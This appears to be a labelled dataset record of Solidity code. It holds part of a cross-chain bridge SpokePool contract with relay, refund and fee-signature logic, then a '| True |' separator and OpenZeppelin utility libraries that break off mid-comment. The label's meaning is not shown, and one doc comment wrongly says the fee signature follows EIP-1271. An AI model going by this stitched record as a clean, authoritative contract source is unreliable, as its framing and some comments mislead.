* @param depositorSignature Signed message containing the depositor address, this contract chain ID, the updated
* relayer fee %, and the deposit ID. This signature is produced by signing a hash of data according to the
* EIP-1271 standard. See more in the _verifyUpdateRelayerFeeMessage() comments.
*/
function speedUpDeposit(
address depositor,
uint64 newRelayerFeePct,
uint32 depositId,
bytes memory depositorSignature
) public override nonReentrant {
require(newRelayerFeePct < 0.5e18, "invalid relayer fee");
_verifyUpdateRelayerFeeMessage(depositor, chainId(), newRelayerFeePct, depositId, depositorSignature);
// Assuming the above checks passed, a relayer can take the signature and the updated relayer fee information
// from the following event to submit a fill with an updated fee %.
emit RequestedSpeedUpDeposit(newRelayerFeePct, depositId, depositor, depositorSignature);
}
/**************************************
* RELAYER FUNCTIONS *
**************************************/
/**
* @notice Called by relayer to fulfill part of a deposit by sending destination tokens to the recipient.
* Relayer is expected to pass in unique identifying information for deposit that they want to fulfill, and this
* relay submission will be validated by off-chain data workers who can dispute this relay if any part is invalid.
* If the relay is valid, then the relayer will be refunded on their desired repayment chain. If relay is invalid,
* then relayer will not receive any refund.
* @notice All of the deposit data can be found via on-chain events from the origin SpokePool, except for the
* realizedLpFeePct which is a function of the HubPool's utilization at the deposit quote time. This fee %
* is deterministic based on the quote time, so the relayer should just compute it using the canonical algorithm
* as described in a UMIP linked to the HubPool's identifier.
* @param depositor Depositor on origin chain who set this chain as the destination chain.
* @param recipient Specified recipient on this chain.
* @param destinationToken Token to send to recipient. Should be mapped to the origin token, origin chain ID
* and this chain ID via a mapping on the HubPool.
* @param amount Full size of the deposit.
* @param maxTokensToSend Max amount of tokens to send recipient. If higher than amount, then caller will
* send recipient the full relay amount.
* @param repaymentChainId Chain of SpokePool where relayer wants to be refunded after the challenge window has
* passed.
* @param originChainId Chain of SpokePool where deposit originated.
* @param realizedLpFeePct Fee % based on L1 HubPool utilization at deposit quote time. Deterministic based on
* quote time.
* @param relayerFeePct Fee % to keep as relayer, specified by depositor.
* @param depositId Unique deposit ID on origin spoke pool.
*/
function fillRelay(
address depositor,
address recipient,
address destinationToken,
uint256 amount,
uint256 maxTokensToSend,
uint256 repaymentChainId,
uint256 originChainId,
uint64 realizedLpFeePct,
uint64 relayerFeePct,
uint32 depositId
) public nonReentrant {
// Each relay attempt is mapped to the hash of data uniquely identifying it, which includes the deposit data
// such as the origin chain ID and the deposit ID, and the data in a relay attempt such as who the recipient
// is, which chain and currency the recipient wants to receive funds on, and the relay fees.
SpokePoolInterface.RelayData memory relayData = SpokePoolInterface.RelayData({
depositor: depositor,
recipient: recipient,
destinationToken: destinationToken,
amount: amount,
realizedLpFeePct: realizedLpFeePct,
relayerFeePct: relayerFeePct,
depositId: depositId,
originChainId: originChainId,
destinationChainId: chainId()
});
bytes32 relayHash = _getRelayHash(relayData);
uint256 fillAmountPreFees = _fillRelay(relayHash, relayData, maxTokensToSend, relayerFeePct, false);
_emitFillRelay(relayHash, fillAmountPreFees, repaymentChainId, relayerFeePct, relayData, false);
}
/**
* @notice Called by relayer to execute same logic as calling fillRelay except that relayer is using an updated
* relayer fee %. The fee % must have been emitted in a message cryptographically signed by the depositor.
* @notice By design, the depositor probably emitted the message with the updated fee by calling speedUpRelay().
* @param depositor Depositor on origin chain who set this chain as the destination chain.
* @param recipient Specified recipient on this chain.
* @param destinationToken Token to send to recipient. Should be mapped to the origin token, origin chain ID
* and this chain ID via a mapping on the HubPool.
* @param amount Full size of the deposit.
* @param maxTokensToSend Max amount of tokens to send recipient. If higher than amount, then caller will
* send recipient the full relay amount.
* @param repaymentChainId Chain of SpokePool where relayer wants to be refunded after the challenge window has
* passed.
* @param originChainId Chain of SpokePool where deposit originated.
* @param realizedLpFeePct Fee % based on L1 HubPool utilization at deposit quote time. Deterministic based on
* quote time.
* @param relayerFeePct Original fee % to keep as relayer set by depositor.
* @param newRelayerFeePct New fee % to keep as relayer also specified by depositor.
* @param depositId Unique deposit ID on origin spoke pool.
* @param depositorSignature Depositor-signed message containing updated fee %.
*/
function fillRelayWithUpdatedFee(
address depositor,
address recipient,
address destinationToken,
uint256 amount,
uint256 maxTokensToSend,
uint256 repaymentChainId,
uint256 originChainId,
uint64 realizedLpFeePct,
uint64 relayerFeePct,
uint64 newRelayerFeePct,
uint32 depositId,
bytes memory depositorSignature
) public override nonReentrant {
_verifyUpdateRelayerFeeMessage(depositor, originChainId, newRelayerFeePct, depositId, depositorSignature);
// Now follow the default fillRelay flow with the updated fee and the original relay hash.
RelayData memory relayData = RelayData({
depositor: depositor,
recipient: recipient,
destinationToken: destinationToken,
amount: amount,
realizedLpFeePct: realizedLpFeePct,
relayerFeePct: relayerFeePct,
depositId: depositId,
originChainId: originChainId,
destinationChainId: chainId()
});
bytes32 relayHash = _getRelayHash(relayData);
uint256 fillAmountPreFees = _fillRelay(relayHash, relayData, maxTokensToSend, newRelayerFeePct, false);
_emitFillRelay(relayHash, fillAmountPreFees, repaymentChainId, newRelayerFeePct, relayData, false);
}
/**************************************
* DATA WORKER FUNCTIONS *
**************************************/
/**
* @notice Executes a slow relay leaf stored as part of a root bundle. Will send the full amount remaining in the
* relay to the recipient, less fees.
* @dev This function assumes that the relay's destination chain ID is the current chain ID, which prevents
* the caller from executing a slow relay intended for another chain on this chain.
* @param depositor Depositor on origin chain who set this chain as the destination chain.
* @param recipient Specified recipient on this chain.
* @param destinationToken Token to send to recipient. Should be mapped to the origin token, origin chain ID
* and this chain ID via a mapping on the HubPool.
* @param amount Full size of the deposit.
* @param originChainId Chain of SpokePool where deposit originated.
* @param realizedLpFeePct Fee % based on L1 HubPool utilization at deposit quote time. Deterministic based on
* quote time.
* @param relayerFeePct Original fee % to keep as relayer set by depositor.
* @param depositId Unique deposit ID on origin spoke pool.
* @param rootBundleId Unique ID of root bundle containing slow relay root that this leaf is contained in.
* @param proof Inclusion proof for this leaf in slow relay root in root bundle.
*/
function executeSlowRelayLeaf(
address depositor,
address recipient,
address destinationToken,
uint256 amount,
uint256 originChainId,
uint64 realizedLpFeePct,
uint64 relayerFeePct,
uint32 depositId,
uint32 rootBundleId,
bytes32[] memory proof
) public virtual override nonReentrant {
_executeSlowRelayLeaf(
depositor,
recipient,
destinationToken,
amount,
originChainId,
chainId(),
realizedLpFeePct,
relayerFeePct,
depositId,
rootBundleId,
proof
);
}
/**
* @notice Executes a relayer refund leaf stored as part of a root bundle. Will send the relayer the amount they
* sent to the recipient plus a relayer fee.
* @param rootBundleId Unique ID of root bundle containing relayer refund root that this leaf is contained in.
* @param relayerRefundLeaf Contains all data necessary to reconstruct leaf contained in root bundle and to
* refund relayer. This data structure is explained in detail in the SpokePoolInterface.
* @param proof Inclusion proof for this leaf in relayer refund root in root bundle.
*/
function executeRelayerRefundLeaf(
uint32 rootBundleId,
SpokePoolInterface.RelayerRefundLeaf memory relayerRefundLeaf,
bytes32[] memory proof
) public virtual override nonReentrant {
_executeRelayerRefundLeaf(rootBundleId, relayerRefundLeaf, proof);
}
/**************************************
* VIEW FUNCTIONS *
**************************************/
/**
* @notice Returns chain ID for this network.
* @dev Some L2s like ZKSync don't support the CHAIN_ID opcode so we allow the implementer to override this.
*/
function chainId() public view virtual override returns (uint256) {
return block.chainid;
}
/**************************************
* INTERNAL FUNCTIONS *
**************************************/
// Verifies inclusion proof of leaf in root, sends relayer their refund, and sends to HubPool any rebalance
// transfers.
function _executeRelayerRefundLeaf(
uint32 rootBundleId,
SpokePoolInterface.RelayerRefundLeaf memory relayerRefundLeaf,
bytes32[] memory proof
) internal {
// Check integrity of leaf structure:
require(relayerRefundLeaf.chainId == chainId(), "Invalid chainId");
require(relayerRefundLeaf.refundAddresses.length == relayerRefundLeaf.refundAmounts.length, "invalid leaf");
RootBundle storage rootBundle = rootBundles[rootBundleId];
// Check that inclusionProof proves that relayerRefundLeaf is contained within the relayer refund root.
// Note: This should revert if the relayerRefundRoot is uninitialized.
require(MerkleLib.verifyRelayerRefund(rootBundle.relayerRefundRoot, relayerRefundLeaf, proof), "Bad Proof");
// Verify the leafId in the leaf has not yet been claimed.
require(!MerkleLib.isClaimed(rootBundle.claimedBitmap, relayerRefundLeaf.leafId), "Already claimed");
// Set leaf as claimed in bitmap. This is passed by reference to the storage rootBundle.
MerkleLib.setClaimed(rootBundle.claimedBitmap, relayerRefundLeaf.leafId);
// Send each relayer refund address the associated refundAmount for the L2 token address.
// Note: Even if the L2 token is not enabled on this spoke pool, we should still refund relayers.
uint256 length = relayerRefundLeaf.refundAmounts.length;
for (uint256 i = 0; i < length; ) {
uint256 amount = relayerRefundLeaf.refundAmounts[i];
if (amount > 0)
IERC20(relayerRefundLeaf.l2TokenAddress).safeTransfer(relayerRefundLeaf.refundAddresses[i], amount);
// OK because we assume refund array length won't be > types(uint256).max.
// Based on the stress test results in /test/gas-analytics/SpokePool.RelayerRefundLeaf.ts, the UMIP should
// limit the refund count in valid proposals to be ~800 so any RelayerRefundLeaves with > 800 refunds should
// not make it to this stage.
unchecked {
++i;
}
}
// If leaf's amountToReturn is positive, then send L2 --> L1 message to bridge tokens back via
// chain-specific bridging method.
if (relayerRefundLeaf.amountToReturn > 0) {
_bridgeTokensToHubPool(relayerRefundLeaf);
emit TokensBridged(
relayerRefundLeaf.amountToReturn,
relayerRefundLeaf.chainId,
relayerRefundLeaf.leafId,
relayerRefundLeaf.l2TokenAddress,
msg.sender
);
}
emit ExecutedRelayerRefundRoot(
relayerRefundLeaf.amountToReturn,
relayerRefundLeaf.chainId,
relayerRefundLeaf.refundAmounts,
rootBundleId,
relayerRefundLeaf.leafId,
relayerRefundLeaf.l2TokenAddress,
relayerRefundLeaf.refundAddresses,
msg.sender
);
}
// Verifies inclusion proof of leaf in root and sends recipient remainder of relay. Marks relay as filled.
function _executeSlowRelayLeaf(
address depositor,
address recipient,
address destinationToken,
uint256 amount,
uint256 originChainId,
uint256 destinationChainId,
uint64 realizedLpFeePct,
uint64 relayerFeePct,
uint32 depositId,
uint32 rootBundleId,
bytes32[] memory proof
) internal {
RelayData memory relayData = RelayData({
depositor: depositor,
recipient: recipient,
destinationToken: destinationToken,
amount: amount,
originChainId: originChainId,
destinationChainId: destinationChainId,
realizedLpFeePct: realizedLpFeePct,
relayerFeePct: relayerFeePct,
depositId: depositId
});
require(
MerkleLib.verifySlowRelayFulfillment(rootBundles[rootBundleId].slowRelayRoot, relayData, proof),
"Invalid proof"
);
bytes32 relayHash = _getRelayHash(relayData);
// Note: use relayAmount as the max amount to send, so the relay is always completely filled by the contract's
// funds in all cases. As this is a slow relay we set the relayerFeePct to 0. This effectively refunds the
// relayer component of the relayerFee thereby only charging the depositor the LpFee.
uint256 fillAmountPreFees = _fillRelay(relayHash, relayData, relayData.amount, 0, true);
// Note: Set repayment chain ID to 0 to indicate that there is no repayment to be made. The off-chain data
// worker can use repaymentChainId=0 as a signal to ignore such relays for refunds. Also, set the relayerFeePct
// to 0 as slow relays do not pay the caller of this method (depositor is refunded this fee).
_emitFillRelay(relayHash, fillAmountPreFees, 0, 0, relayData, true);
}
function _setCrossDomainAdmin(address newCrossDomainAdmin) internal {
require(newCrossDomainAdmin != address(0), "Bad bridge router address");
crossDomainAdmin = newCrossDomainAdmin;
emit SetXDomainAdmin(newCrossDomainAdmin);
}
function _setHubPool(address newHubPool) internal {
require(newHubPool != address(0), "Bad hub pool address");
hubPool = newHubPool;
emit SetHubPool(newHubPool);
}
// Should be overriden by implementing contract depending on how L2 handles sending tokens to L1.
function _bridgeTokensToHubPool(SpokePoolInterface.RelayerRefundLeaf memory relayerRefundLeaf) internal virtual;
function _verifyUpdateRelayerFeeMessage(
address depositor,
uint256 originChainId,
uint64 newRelayerFeePct,
uint32 depositId,
bytes memory depositorSignature
) internal view {
// A depositor can request to speed up an un-relayed deposit by signing a hash containing the relayer
// fee % to update to and information uniquely identifying the deposit to relay. This information ensures
// that this signature cannot be re-used for other deposits. The version string is included as a precaution
// in case this contract is upgraded.
// Note: we use encode instead of encodePacked because it is more secure, more in the "warning" section
// here: https://docs.soliditylang.org/en/v0.8.11/abi-spec.html#non-standard-packed-mode
bytes32 expectedDepositorMessageHash = keccak256(
abi.encode("ACROSS-V2-FEE-1.0", newRelayerFeePct, depositId, originChainId)
);
// Check the hash corresponding to the https://eth.wiki/json-rpc/API#eth_sign[eth_sign]
// If the depositor signed a message with a different updated fee (or any other param included in the
// above keccak156 hash), then this will revert.
bytes32 ethSignedMessageHash = ECDSA.toEthSignedMessageHash(expectedDepositorMessageHash);
_verifyDepositorUpdateFeeMessage(depositor, ethSignedMessageHash, depositorSignature);
}
// This function is isolated and made virtual to allow different L2's to implement chain specific recovery of
// signers from signatures because some L2s might not support ecrecover. To be safe, consider always reverting
// this function for L2s where ecrecover is different from how it works on Ethereum, otherwise there is the
// potential to forge a signature from the depositor using a different private key than the original depositor's.
function _verifyDepositorUpdateFeeMessage(
address depositor,
bytes32 ethSignedMessageHash,
bytes memory depositorSignature
) internal view virtual {
// Note: We purposefully do not support EIP-1271 signatures (meaning that multisigs and smart contract wallets
// like Argent are not supported) because of the possibility that a multisig that signed a message on the origin
// chain does not have a parallel on this destination chain.
require(depositor == ECDSA.recover(ethSignedMessageHash, depositorSignature), "invalid signature");
}
function _computeAmountPreFees(uint256 amount, uint64 feesPct) private pure returns (uint256) {
return (1e18 * amount) / (1e18 - feesPct);
}
function _computeAmountPostFees(uint256 amount, uint64 feesPct) private pure returns (uint256) {
return (amount * (1e18 - feesPct)) / 1e18;
}
function _getRelayHash(SpokePoolInterface.RelayData memory relayData) private pure returns (bytes32) {
return keccak256(abi.encode(relayData));
}
// Unwraps ETH and does a transfer to a recipient address. If the recipient is a smart contract then sends wrappedNativeToken.
function _unwrapwrappedNativeTokenTo(address payable to, uint256 amount) internal {
if (address(to).isContract()) {
IERC20(address(wrappedNativeToken)).safeTransfer(to, amount);
} else {
wrappedNativeToken.withdraw(amount);
to.transfer(amount);
}
}
/**
* @notice Caller specifies the max amount of tokens to send to user. Based on this amount and the amount of the
* relay remaining (as stored in the relayFills mapping), pull the amount of tokens from the caller
* and send to the recipient.
* @dev relayFills keeps track of pre-fee fill amounts as a convenience to relayers who want to specify round
* numbers for the maxTokensToSend parameter or convenient numbers like 100 (i.e. relayers who will fully
* fill any relay up to 100 tokens, and partial fill with 100 tokens for larger relays).
* @dev Caller must approve this contract to transfer up to maxTokensToSend of the relayData.destinationToken.
* The amount to be sent might end up less if there is insufficient relay amount remaining to be sent.
*/
function _fillRelay(
bytes32 relayHash,
RelayData memory relayData,
uint256 maxTokensToSend,
uint64 updatableRelayerFeePct,
bool useContractFunds
) internal returns (uint256 fillAmountPreFees) {
// We limit the relay fees to prevent the user spending all their funds on fees. Note that 0.5e18 (i.e. 50%)
// fees are just magic numbers. The important point is to prevent the total fee from being 100%, otherwise
// computing the amount pre fees runs into divide-by-0 issues.
require(updatableRelayerFeePct < 0.5e18 && relayData.realizedLpFeePct < 0.5e18, "invalid fees");
// Check that the relay has not already been completely filled. Note that the relays mapping will point to
// the amount filled so far for a particular relayHash, so this will start at 0 and increment with each fill.
require(relayFills[relayHash] < relayData.amount, "relay filled");
// Stores the equivalent amount to be sent by the relayer before fees have been taken out.
if (maxTokensToSend == 0) return 0;
// Derive the amount of the relay filled if the caller wants to send exactly maxTokensToSend tokens to
// the recipient. For example, if the user wants to send 10 tokens to the recipient, the full relay amount
// is 100, and the fee %'s total 5%, then this computation would return ~10.5, meaning that to fill 10.5/100
// of the full relay size, the caller would need to send 10 tokens to the user.
fillAmountPreFees = _computeAmountPreFees(
maxTokensToSend,
(relayData.realizedLpFeePct + updatableRelayerFeePct)
);
// If user's specified max amount to send is greater than the amount of the relay remaining pre-fees,
// we'll pull exactly enough tokens to complete the relay.
uint256 amountToSend = maxTokensToSend;
uint256 amountRemainingInRelay = relayData.amount - relayFills[relayHash];
if (amountRemainingInRelay < fillAmountPreFees) {
fillAmountPreFees = amountRemainingInRelay;
// The user will fulfill the remainder of the relay, so we need to compute exactly how many tokens post-fees
// that they need to send to the recipient. Note that if the relayer is filled using contract funds then
// this is a slow relay.
amountToSend = _computeAmountPostFees(
fillAmountPreFees,
relayData.realizedLpFeePct + updatableRelayerFeePct
);
}
// relayFills keeps track of pre-fee fill amounts as a convenience to relayers who want to specify round
// numbers for the maxTokensToSend parameter or convenient numbers like 100 (i.e. relayers who will fully
// fill any relay up to 100 tokens, and partial fill with 100 tokens for larger relays).
relayFills[relayHash] += fillAmountPreFees;
// If relay token is wrappedNativeToken then unwrap and send native token.
if (relayData.destinationToken == address(wrappedNativeToken)) {
// Note: useContractFunds is True if we want to send funds to the recipient directly out of this contract,
// otherwise we expect the caller to send funds to the recipient. If useContractFunds is True and the
// recipient wants wrappedNativeToken, then we can assume that wrappedNativeToken is already in the
// contract, otherwise we'll need the user to send wrappedNativeToken to this contract. Regardless, we'll
// need to unwrap it to native token before sending to the user.
if (!useContractFunds)
IERC20(relayData.destinationToken).safeTransferFrom(msg.sender, address(this), amountToSend);
_unwrapwrappedNativeTokenTo(payable(relayData.recipient), amountToSend);
// Else, this is a normal ERC20 token. Send to recipient.
} else {
// Note: Similar to note above, send token directly from the contract to the user in the slow relay case.
if (!useContractFunds)
IERC20(relayData.destinationToken).safeTransferFrom(msg.sender, relayData.recipient, amountToSend);
else IERC20(relayData.destinationToken).safeTransfer(relayData.recipient, amountToSend);
}
}
// The following internal methods emit events with many params to overcome solidity stack too deep issues.
function _emitFillRelay(
bytes32 relayHash,
uint256 fillAmount,
uint256 repaymentChainId,
uint64 appliedRelayerFeePct,
RelayData memory relayData,
bool isSlowRelay
) internal {
emit FilledRelay(
relayData.amount,
relayFills[relayHash],
fillAmount,
repaymentChainId,
relayData.originChainId,
relayData.destinationChainId,
relayData.relayerFeePct,
appliedRelayerFeePct,
relayData.realizedLpFeePct,
relayData.depositId,
relayData.destinationToken,
msg.sender,
relayData.depositor,
relayData.recipient,
isSlowRelay
);
}
function _emitDeposit(
uint256 amount,
uint256 originChainId,
uint256 destinationChainId,
uint64 relayerFeePct,
uint32 depositId,
uint32 quoteTimestamp,
address originToken,
address recipient,
address depositor
) internal {
emit FundsDeposited(
amount,
originChainId,
destinationChainId,
relayerFeePct,
depositId,
quoteTimestamp,
originToken,
recipient,
depositor
);
}
// Implementing contract needs to override this to ensure that only the appropriate cross chain admin can execute
// certain admin functions. For L2 contracts, the cross chain admin refers to some L1 address or contract, and for
// L1, this would just be the same admin of the HubPool.
function _requireAdminSender() internal virtual;
// Added to enable the this contract to receive native token (ETH). Used when unwrapping wrappedNativeToken.
receive() external payable {}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.0;
/**
* @notice Contains common data structures and functions used by all SpokePool implementations.
*/
interface SpokePoolInterface {
// This leaf is meant to be decoded in the SpokePool to pay out successful relayers.
struct RelayerRefundLeaf {
// This is the amount to return to the HubPool. This occurs when there is a PoolRebalanceLeaf netSendAmount that
// is negative. This is just the negative of this value.
uint256 amountToReturn;
// Used to verify that this is being executed on the correct destination chainId.
uint256 chainId;
// This array designates how much each of those addresses should be refunded.
uint256[] refundAmounts;
// Used as the index in the bitmap to track whether this leaf has been executed or not.
uint32 leafId;
// The associated L2TokenAddress that these claims apply to.
address l2TokenAddress;
// Must be same length as refundAmounts and designates each address that must be refunded.
address[] refundAddresses;
}
// This struct represents the data to fully specify a relay. If any portion of this data differs, the relay is
// considered to be completely distinct. Only one relay for a particular depositId, chainId pair should be
// considered valid and repaid. This data is hashed and inserted into the slow relay merkle root so that an off
// chain validator can choose when to refund slow relayers.
struct RelayData {
// The address that made the deposit on the origin chain.
address depositor;
// The recipient address on the destination chain.
address recipient;
// The corresponding token address on the destination chain.
address destinationToken;
// The total relay amount before fees are taken out.
uint256 amount;
// Origin chain id.
uint256 originChainId;
// Destination chain id.
uint256 destinationChainId;
// The LP Fee percentage computed by the relayer based on the deposit's quote timestamp
// and the HubPool's utilization.
uint64 realizedLpFeePct;
// The relayer fee percentage specified in the deposit.
uint64 relayerFeePct;
// The id uniquely identifying this deposit on the origin chain.
uint32 depositId;
}
// Stores collection of merkle roots that can be published to this contract from the HubPool, which are referenced
// by "data workers" via inclusion proofs to execute leaves in the roots.
struct RootBundle {
// Merkle root of slow relays that were not fully filled and whose recipient is still owed funds from the LP pool.
bytes32 slowRelayRoot;
// Merkle root of relayer refunds for successful relays.
bytes32 relayerRefundRoot;
// This is a 2D bitmap tracking which leaves in the relayer refund root have been claimed, with max size of
// 256x(2^248) leaves per root.
mapping(uint256 => uint256) claimedBitmap;
}
function setCrossDomainAdmin(address newCrossDomainAdmin) external;
function setHubPool(address newHubPool) external;
function setEnableRoute(
address originToken,
uint256 destinationChainId,
bool enable
) external;
function setDepositQuoteTimeBuffer(uint32 buffer) external;
function relayRootBundle(bytes32 relayerRefundRoot, bytes32 slowRelayRoot) external;
function emergencyDeleteRootBundle(uint256 rootBundleId) external;
function deposit(
address recipient,
address originToken,
uint256 amount,
uint256 destinationChainId,
uint64 relayerFeePct,
uint32 quoteTimestamp
) external payable;
function speedUpDeposit(
address depositor,
uint64 newRelayerFeePct,
uint32 depositId,
bytes memory depositorSignature
) external;
function fillRelay(
address depositor,
address recipient,
address destinationToken,
uint256 amount,
uint256 maxTokensToSend,
uint256 repaymentChainId,
uint256 originChainId,
uint64 realizedLpFeePct,
uint64 relayerFeePct,
uint32 depositId
) external;
function fillRelayWithUpdatedFee(
address depositor,
address recipient,
address destinationToken,
uint256 amount,
uint256 maxTokensToSend,
uint256 repaymentChainId,
uint256 originChainId,
uint64 realizedLpFeePct,
uint64 relayerFeePct,
uint64 newRelayerFeePct,
uint32 depositId,
bytes memory depositorSignature
) external;
function executeSlowRelayLeaf(
address depositor,
address recipient,
address destinationToken,
uint256 amount,
uint256 originChainId,
uint64 realizedLpFeePct,
uint64 relayerFeePct,
uint32 depositId,
uint32 rootBundleId,
bytes32[] memory proof
) external;
function executeRelayerRefundLeaf(
uint32 rootBundleId,
SpokePoolInterface.RelayerRefundLeaf memory relayerRefundLeaf,
bytes32[] memory proof
) external;
function chainId() external view returns (uint256);
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
/**
* @notice Sends cross chain messages and tokens to contracts on a specific L2 network.
*/
interface AdapterInterface {
event MessageRelayed(address target, bytes message);
event TokensRelayed(address l1Token, address l2Token, uint256 amount, address to);
function relayMessage(address target, bytes calldata message) external payable;
function relayTokens(
address l1Token,
address l2Token,
uint256 amount,
address to
) external payable;
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.0;
interface WETH9 {
function withdraw(uint256 wad) external;
function deposit() external payable;
function balanceOf(address guy) external view returns (uint256 wad);
function transfer(address guy, uint256 wad) external;
} | True | [
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|
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
